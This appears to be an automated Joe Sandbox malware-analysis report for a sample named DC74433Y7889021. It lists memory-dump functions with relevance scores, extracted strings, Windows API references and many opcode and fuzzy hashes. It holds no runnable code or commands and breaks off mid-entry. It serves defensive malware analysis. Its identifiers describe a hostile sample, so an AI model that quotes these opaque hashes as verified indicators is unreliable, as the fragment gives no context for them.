Instruction Fuzzy Hash: 62A28D70A006098FCB16CF68C584AEEBBF2FF88314F158569E605DB7A5D735E941CB60

Function 023B29EC Relevance: 5.5, Strings: 4, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xhq, xrefs: 023B2BA4
Xhq, xrefs: 023B2A9E
Xhq, xrefs: 023B2B57
Xhq, xrefs: 023B2AD8

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: Xhq$Xhq$Xhq$Xhq
API String ID: 0-3565632849
Opcode ID: 0fe101933af758e47de337831a037113bfc6d4752d9d449ef5336a4f3a402c96
Instruction ID: 35ba4e69094a96b57c0addf6bdc6957deb49b63554a583a75945cc605670f39f
Opcode Fuzzy Hash: 0fe101933af758e47de337831a037113bfc6d4752d9d449ef5336a4f3a402c96
Instruction Fuzzy Hash: 290292319086D58FCB23CF38C4E079ABFF2AF4B214B5909D9C985DB906DB34A591CB12

Function 023B69A0 Relevance: 3.0, Strings: 2, Instructions: 514COMMON

Download Yara Rule

Strings

Hhq, xrefs: 023B6DA6
(odq, xrefs: 023B6EDA

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: (odq$Hhq
API String ID: 0-1720555311
Opcode ID: bd18066d7f43bc88b1473ec0c06fa8dcf82c80659b8360d5472a79d1725a2719
Instruction ID: 0f3e681bb5f0052a09e67c96b35865be4daffcdb705d5d8f7361354aee26b0b9
Opcode Fuzzy Hash: bd18066d7f43bc88b1473ec0c06fa8dcf82c80659b8360d5472a79d1725a2719
Instruction Fuzzy Hash: 61126D70A002198FDB19DF69C854BAEBBF6FF88304F248569E9059B791DB349D42CF90

Function 023B3E09 Relevance: 2.8, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

$dq, xrefs: 023B3E2E
Xhq, xrefs: 023B3E47

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: Xhq$$dq
API String ID: 0-4001282582
Opcode ID: 9efbc2e2810bbd0e14c144c13a4b0b981b139162d3b9883d106368fcd79afdb5
Instruction ID: 45e12c3598f31af3fda27ab5974a277987f9ab2a3002d0e746101b4e6d82eeb8
Opcode Fuzzy Hash: 9efbc2e2810bbd0e14c144c13a4b0b981b139162d3b9883d106368fcd79afdb5
Instruction Fuzzy Hash: F591A374F04219DBDB099FB488642BFBBA7BFC8710B05C91DD606EB686CE34C8528795

Function 060E9548 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 169cf0c5999c0c94aee18a86a7dee14106f159b48d632e9d8d3440f57368b74a
Instruction ID: 4fdf86a8bdc00737587a08e25e1eb9c6bae5255e0fa73e1db04dd8478bedf9b2
Opcode Fuzzy Hash: 169cf0c5999c0c94aee18a86a7dee14106f159b48d632e9d8d3440f57368b74a
Instruction Fuzzy Hash: 99F1E474E01228CFDB54DFA9D984B9DBBB2BF88304F14C1A9E808AB355DB709985CF50

Function 090D1BF0 Relevance: 1.7, Strings: 1, Instructions: 432COMMON

Download Yara Rule

Strings

Hhq, xrefs: 090D1C72

Memory Dump Source

Source File: 00000001.00000002.4140129189.00000000090D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_90d0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: Hhq
API String ID: 0-4210879014
Opcode ID: bcc8feb448c15c35e6cbd085c3fc4b10e8500f58f0c03fc594455e47994076c1
Instruction ID: 4bcfaf0a0958931da1f60bef2433e266d98d6f3d2799b3566deaf817adbb8d16
Opcode Fuzzy Hash: bcc8feb448c15c35e6cbd085c3fc4b10e8500f58f0c03fc594455e47994076c1
Instruction Fuzzy Hash: DBE17B717027008FDBA9EB79C85076E77E6AF89700F14886DD656CB290CF39E802CB91

Function 060E0B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7fb0a24ef5fc29e3be4045699c6124f95f0faf2b1a3f874ac0b1ab4bb7cbaee
Instruction ID: c92ad7f08bce0957cd9ec31bd580420cf8fc31a0ded5e8e6bc9e1e575be8b898
Opcode Fuzzy Hash: d7fb0a24ef5fc29e3be4045699c6124f95f0faf2b1a3f874ac0b1ab4bb7cbaee
Instruction Fuzzy Hash: 5772BF74E012298FDBA4DF69C990BEDBBB2BB49300F1481E9D409AB355DB349E81CF40

Function 060E2968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 222fbfbf7bbbb315ce5bad0dbbcb9c1c9506fe3657a37eb68342eb3889493c8c
Instruction ID: 8887269337d5bfb94ea2f8aa9f5278a1894cb260ea0f8cd68d8da3068114aee0
Opcode Fuzzy Hash: 222fbfbf7bbbb315ce5bad0dbbcb9c1c9506fe3657a37eb68342eb3889493c8c
Instruction Fuzzy Hash: 28C19E74E01218CFDB58DFA5D944BADBBB2BF89301F2081AAD809AB354DB355E81CF50

Function 060E2DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80855022206101bee5a6a0b0b5280a8570aa4c933a644df475eaf97b14a4a7fd
Instruction ID: f5f483fc19a114844966ceefd37a21fa1ee1a97d004e1d8d69a553bdd8591427
Opcode Fuzzy Hash: 80855022206101bee5a6a0b0b5280a8570aa4c933a644df475eaf97b14a4a7fd
Instruction Fuzzy Hash: C0A10370D002188FDB14DFA9C954BEDBBB1FF88310F209269E509AB3A1DB759A85CF54

Function 060E2DC2 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c4ac039164a4036625e374b70dd721656d5b59552a7081c2e4111991c386ba7
Instruction ID: d9ac9327edb1663cc99a78c5903308ee5edc53ae542a329274ec7eeddd9805d2
Opcode Fuzzy Hash: 0c4ac039164a4036625e374b70dd721656d5b59552a7081c2e4111991c386ba7
Instruction Fuzzy Hash: 31A1F370D002188FDB54DFA9C954BEDBBB1FF88300F209269E509AB3A1DB759A85CF54

Function 060E310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81bbc27f8dabe9171da7fdfa080c82a338f5ba8848580bca88cc4d38adcd7eee
Instruction ID: 007ce3d8a9b73f10ff2eca4e5dedc88b2d6bf27d72f247b236dd918fbcac68e0
Opcode Fuzzy Hash: 81bbc27f8dabe9171da7fdfa080c82a338f5ba8848580bca88cc4d38adcd7eee
Instruction Fuzzy Hash: EE91F370D40218CFEB54DFA8C854BEDBBB1FF49310F2092A9E509AB291DB759A84CF54

Function 023BE97A Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91006f0243ea93607cf5b1518507d3a208eaf22592e6f3392a1025e267ed721e
Instruction ID: 0fe3561865892cce34b9bb460c289e8a65fa4a86e3bdf4b2ff10705b5584a557
Opcode Fuzzy Hash: 91006f0243ea93607cf5b1518507d3a208eaf22592e6f3392a1025e267ed721e
Instruction Fuzzy Hash: 2951B574E00218DFDB19DFAAD894ADDBBF2AF89300F24C029E919AB764DB345841CF00

Function 023BE988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b25dae7a37efed11cfd837cc72f7b2bdb16eb46379530f9026c93c33a4ae8d2f
Instruction ID: 9012506d09ada61cb25f89792bafaa82ad6e427de30ae89ccfc893afdb7478ae
Opcode Fuzzy Hash: b25dae7a37efed11cfd837cc72f7b2bdb16eb46379530f9026c93c33a4ae8d2f
Instruction Fuzzy Hash: E851A474E01318DFDB19DFAAD894A9DBBF2BF89301F248029E919AB364DB345841CF14

Function 023B76F1 Relevance: 10.5, Strings: 8, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(odq, xrefs: 023B77E9
(odq, xrefs: 023B772E
,hq, xrefs: 023B7B90
,hq, xrefs: 023B7BA0
(odq, xrefs: 023B7815
(odq, xrefs: 023B7BFF
(odq, xrefs: 023B78B2
(odq, xrefs: 023B7C0F

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: (odq$(odq$(odq$(odq$(odq$(odq$,hq$,hq
API String ID: 0-1376594924
Opcode ID: 676f3fcaa36894c4f427e7292a432d75a479581759b8efa5397e1f0bcd552edc
Instruction ID: bb6aa620a78b927240cb95d8bc4ec9c847a6d9b24ca9e5619e6d507c765db819
Opcode Fuzzy Hash: 676f3fcaa36894c4f427e7292a432d75a479581759b8efa5397e1f0bcd552edc
Instruction Fuzzy Hash: 5A125A31A002088FCB26CF68D884AEEBBF2FF89315F158559E949DB6A1D730ED41CB50

Function 023B5F38 Relevance: 2.8, Strings: 2, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hhq, xrefs: 023B6023
Hhq, xrefs: 023B6056

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: Hhq$Hhq
API String ID: 0-2450388649
Opcode ID: 098390bddcc30376582d71b1341322f141903b5f3d07559801079818b2f52604
Instruction ID: 1e38fad098bc3437a9bf55a0dbf2cb553206cd40bef119429808721defb4a9d8
Opcode Fuzzy Hash: 098390bddcc30376582d71b1341322f141903b5f3d07559801079818b2f52604
Instruction Fuzzy Hash: 1CB1C370B042158FDB169F34C8557BE7BAAEF89314F148569E606CB792DB34CC42CB91

Function 023B6498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,hq, xrefs: 023B6578
,hq, xrefs: 023B656E

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: ,hq$,hq
API String ID: 0-3475114797
Opcode ID: deb2d033ea3ee2d0c8cf4df132e7360dfeeedabfb2432958556ab0c7f3de2974
Instruction ID: 17767beb7bfd2392338fab5e6346e0f465a35194cd923b54fccee0df2d6ca9c0
Opcode Fuzzy Hash: deb2d033ea3ee2d0c8cf4df132e7360dfeeedabfb2432958556ab0c7f3de2974
Instruction Fuzzy Hash: 8281AF74B005058FCB15CF78C485AEABBBABF89304B158169D606DBBA6DB31EC41CF50

Function 023B3CB1 Relevance: 2.6, Strings: 2, Instructions: 117COMMON

Download Yara Rule

Strings

Xhq, xrefs: 023B3CF6
Xhq, xrefs: 023B3CCD

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: Xhq$Xhq
API String ID: 0-635196136
Opcode ID: 77d80221c4bd0dfaa79b46b843cce4712674a4ae94d77d345178fe8c08557b2e
Instruction ID: 40212b2b8d45c77422b744e5325845575a6842b88681ca76bebb6feaf3cf20b2
Opcode Fuzzy Hash: 77d80221c4bd0dfaa79b46b843cce4712674a4ae94d77d345178fe8c08557b2e
Instruction Fuzzy Hash: 1E310771B442384BDF1A4EB988A43FEA6AAAFC4201F18447FEA06C7B81DB74C8458751

Function 023B8EF8 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

$dq, xrefs: 023B8FD7
$dq, xrefs: 023B8FB4

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: $dq$$dq
API String ID: 0-2340669324
Opcode ID: 99b3c67f191ade88272930250bf0111cb6807a458cebaa127b9da9d91f079f98
Instruction ID: 7df15e1b9a9a4ad028bc6d14e5aa64bb094c150b96e9050f56b90b9a7aa18bf1
Opcode Fuzzy Hash: 99b3c67f191ade88272930250bf0111cb6807a458cebaa127b9da9d91f079f98
Instruction Fuzzy Hash: 7331A5703443518FCB2B8E68E8986BE776FEF85711B15046AE106CBA93DB28CC41C751

Function 023B9D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'dq, xrefs: 023B9D84
4'dq, xrefs: 023B9D6D

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq
API String ID: 0-2306408947
Opcode ID: 368b98441499b83fc163ae4191cd552253600a44e0d485e2994352b9dcb1ea7f
Instruction ID: 9c656f306e5ebaec97f31a3f19e40cbe3f24b6965e820d5832deb536838b999b
Opcode Fuzzy Hash: 368b98441499b83fc163ae4191cd552253600a44e0d485e2994352b9dcb1ea7f
Instruction Fuzzy Hash: FBF044357002146FDB195EA69850ABBBADBEFC9360F148429BB09C7791DE75CC1187A0

Function 023B0C8F Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

LRdq, xrefs: 023B0F19

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: LRdq
API String ID: 0-3106745678
Opcode ID: 89d571c3816cba186eb2c65cc5f238f89ff0cb31248029610e43c7c64ae7798c
Instruction ID: 3ba9ac872f01ccefb8e143d8955724076814ff8801c42e98eaf22de3a2c94efe
Opcode Fuzzy Hash: 89d571c3816cba186eb2c65cc5f238f89ff0cb31248029610e43c7c64ae7798c
Instruction Fuzzy Hash: CB52AA78D41229CFCB54EF64E994A9DBBF2FB48301F1049A9D409AB358DB706E85CF81

Function 023B0CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LRdq, xrefs: 023B0F19

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: LRdq
API String ID: 0-3106745678
Opcode ID: b62098669159b745527f7fb560bd81af134d2edf70ac08f053be5e2f8f4ec81a
Instruction ID: 53fc7549d0d55de5691e4b622899f3ca840ac3d07934f1a026029b59781c468d
Opcode Fuzzy Hash: b62098669159b745527f7fb560bd81af134d2edf70ac08f053be5e2f8f4ec81a
Instruction Fuzzy Hash: B052AA78D41229CFCB54EF64E994A9DBBF2FB48301F1049A9D409AB358DB706E85CF81

Function 060E992C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 060E9A6E

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 17824e2bda397de6ceae8464ebe96df04c2a319dfb730cd6ec18fd4cd427e958
Instruction ID: 42e5cfc1f168ade261592f6319a66863b1ff079602673dbd489f86cfd5363f1b
Opcode Fuzzy Hash: 17824e2bda397de6ceae8464ebe96df04c2a319dfb730cd6ec18fd4cd427e958
Instruction Fuzzy Hash: 7A116A74E811199FDB48CFA8D884AADBBF5FF88314F148165E804A7345D730AD81CB90

Function 08F82828 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 08F828A1

Memory Dump Source

Source File: 00000001.00000002.4139952329.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8f80000_DC74433Y7889021.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: c15c402e2209e72136b36465df786ee0dec870b81a7b7c7b40156e48188baa82
Instruction ID: ae60c46b56530c39c62e9c2ae52c26db62984e90a54d3bf1111899de8b80bb14
Opcode Fuzzy Hash: c15c402e2209e72136b36465df786ee0dec870b81a7b7c7b40156e48188baa82
Instruction Fuzzy Hash: 6A2135B1D002498FDB10DFAAC844BEEFBF5AB88320F14842ED459A7250C778A944CF65

Function 0908E1F9 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 0908E225

Memory Dump Source

Source File: 00000001.00000002.4140016319.0000000009080000.00000040.00000800.00020000.00000000.sdmp, Offset: 09080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9080000_DC74433Y7889021.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b566de4fade1afbbfe1860586bc0d198b6f750acfadc46786748e8b5f7f2273e
Instruction ID: adf1087e174473fb27b366452fe92ba568654af8b08d79f38f70385a2515fc3d
Opcode Fuzzy Hash: b566de4fade1afbbfe1860586bc0d198b6f750acfadc46786748e8b5f7f2273e
Instruction Fuzzy Hash: 47117C303106208FCB99BF79C85482A7BEAAF8961131544AAE552CF3B1EF71DC02C7A1

Function 08F82830 Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 08F828A1

Memory Dump Source

Source File: 00000001.00000002.4139952329.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8f80000_DC74433Y7889021.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 9425dd24f7c76e3533831d49db40c6beb0d6e9c4e017dbbf972de250a926cd4b
Instruction ID: 70d8447de316a61343186af0ff55f89197b1095a08f73cd3e06f9dfbf8a51e89
Opcode Fuzzy Hash: 9425dd24f7c76e3533831d49db40c6beb0d6e9c4e017dbbf972de250a926cd4b
Instruction Fuzzy Hash: 772108B1D00209DFDB14DFAAC845BEEFBF5EB88320F14842AD459A3250D774A944CF65

Function 0908E208 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 0908E225

Memory Dump Source

Source File: 00000001.00000002.4140016319.0000000009080000.00000040.00000800.00020000.00000000.sdmp, Offset: 09080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9080000_DC74433Y7889021.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6ddc8130d92822f3f36b0ca6fd0bef196eb30d5adcc3957710927c216d0d09b4
Instruction ID: 99bf937f19060943e569206a9e91d1723d175be8fbbd38d921499ad7343623b2
Opcode Fuzzy Hash: 6ddc8130d92822f3f36b0ca6fd0bef196eb30d5adcc3957710927c216d0d09b4
Instruction Fuzzy Hash: EC111B343115208FCB99BF79C81482A77EAAFC9A5131548A9E512CB3B1EE71DC02C7A0

Function 08F89140 Relevance: 1.6, APIs: 1, Instructions: 54windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 08F891A5

Memory Dump Source

Source File: 00000001.00000002.4139952329.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8f80000_DC74433Y7889021.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c3e6b664fe9e6d3c7d790964fc280a67c2643fc5d3a0e6bd640dc5bc5daa79c5
Instruction ID: b2a276762d021cdeca6a3718212510e62abcf976656a4e57c4dcf500eee8804c
Opcode Fuzzy Hash: c3e6b664fe9e6d3c7d790964fc280a67c2643fc5d3a0e6bd640dc5bc5daa79c5
Instruction Fuzzy Hash: 111156B5804349CFDB01CFA9C949BEEBFF4AB49320F14849AD454A7251C378A944CFA1

Function 08F83358 Relevance: 1.6, APIs: 1, Instructions: 52windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,08F84189,?,?,00000000), ref: 08F841FD

Memory Dump Source

Source File: 00000001.00000002.4139952329.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8f80000_DC74433Y7889021.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 58d17c3487ffc9a55ff549f14e04f074d3984fb7b8b66ddbcfd6874f218669ef
Instruction ID: fadd7ba095a809a4de5d599e8efa3284a32bd59909ea1437396b69150d64e5c8
Opcode Fuzzy Hash: 58d17c3487ffc9a55ff549f14e04f074d3984fb7b8b66ddbcfd6874f218669ef
Instruction Fuzzy Hash: 611153B58003499FDB10DFA9C888BDEBFF8EB58310F10844AE448A7200C375A944CFA4

Function 08F89148 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 08F891A5

Memory Dump Source

Source File: 00000001.00000002.4139952329.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8f80000_DC74433Y7889021.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 0fa9a5e46f730bb1ca7bb0609082b0945f31e3b880d7092a59d9a9e89fc8b488
Instruction ID: 7b5fe32fd6d45bb8735026a9d58aa9b434460b76462dafaeb5178ca3dec8bf28
Opcode Fuzzy Hash: 0fa9a5e46f730bb1ca7bb0609082b0945f31e3b880d7092a59d9a9e89fc8b488
Instruction Fuzzy Hash: EA1128B5800349DFDB10DF9AC849BEEBFF8EB48320F108419D514A3640C375A544CFA5

Function 08F83364 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,08F84189,?,?,00000000), ref: 08F841FD

Memory Dump Source

Source File: 00000001.00000002.4139952329.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8f80000_DC74433Y7889021.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0ca9dae47f32a1eb43af5b194e4d494d443a46f070a590a85bcb7accc938596e
Instruction ID: a6ae058ba11434f0fbed561444ef0da6a6185d739cff45cac4a72c4380422b0e
Opcode Fuzzy Hash: 0ca9dae47f32a1eb43af5b194e4d494d443a46f070a590a85bcb7accc938596e
Instruction Fuzzy Hash: 7B11E0B5800349DFDB20DF9AD849BDEBBF8EB58320F10845AE919A7240C375A954CFA5

Function 08F84198 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,08F84189,?,?,00000000), ref: 08F841FD

Memory Dump Source

Source File: 00000001.00000002.4139952329.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8f80000_DC74433Y7889021.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 9564b137ef3f6fb12f1fbf7d0df50b2e605a11d111c587ef6198f1c2379fa83d
Instruction ID: 56fc872b21f7f53d53eb66deedbd23023662da12afc747e4bac2737593d8a83b
Opcode Fuzzy Hash: 9564b137ef3f6fb12f1fbf7d0df50b2e605a11d111c587ef6198f1c2379fa83d
Instruction Fuzzy Hash: 6D11E0B98003499EDB10DF99D989BDEBBF4EB58320F10844AE519A7250C375AA54CFA4

Function 0908E350 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0908E388

Memory Dump Source

Source File: 00000001.00000002.4140016319.0000000009080000.00000040.00000800.00020000.00000000.sdmp, Offset: 09080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9080000_DC74433Y7889021.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c5c8080a4eb4ce75a1310246d6f42485a9bc6847392313c79741258ead205a54
Instruction ID: 39295fa5c2fc12bac571230e7adb74b6ac5678b86cd51e2ecaddee4db63cd027
Opcode Fuzzy Hash: c5c8080a4eb4ce75a1310246d6f42485a9bc6847392313c79741258ead205a54
Instruction Fuzzy Hash: 0FE08C23700621269B64755EAC045BF228E8BC2971A588876F54C87A50DC185C4253B1

Function 023BAEF0 Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

(odq, xrefs: 023BB079

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: (odq
API String ID: 0-567950297
Opcode ID: fb3d97385bef782c9bb4697fbaea6b8f064ee1da462a83c789f6379a0a41102e
Instruction ID: e177a359a8e4f3269fd04d6fd75c2c807e119ecea73ce6695451320ae590e215
Opcode Fuzzy Hash: fb3d97385bef782c9bb4697fbaea6b8f064ee1da462a83c789f6379a0a41102e
Instruction Fuzzy Hash: AF41E476B042149FCB0A9F68D854AEE7BF7EFC8611B14446AE606D7791DF319C02CB90

Function 023BE007 Relevance: .7, Instructions: 653COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d12c428bacc33873549713a97bc15d354c4722a780f4807ef0a9530249b1057
Instruction ID: 873920b0bd517442ded14d194bfd868404141401d95ac2e33097e71a722fca6b
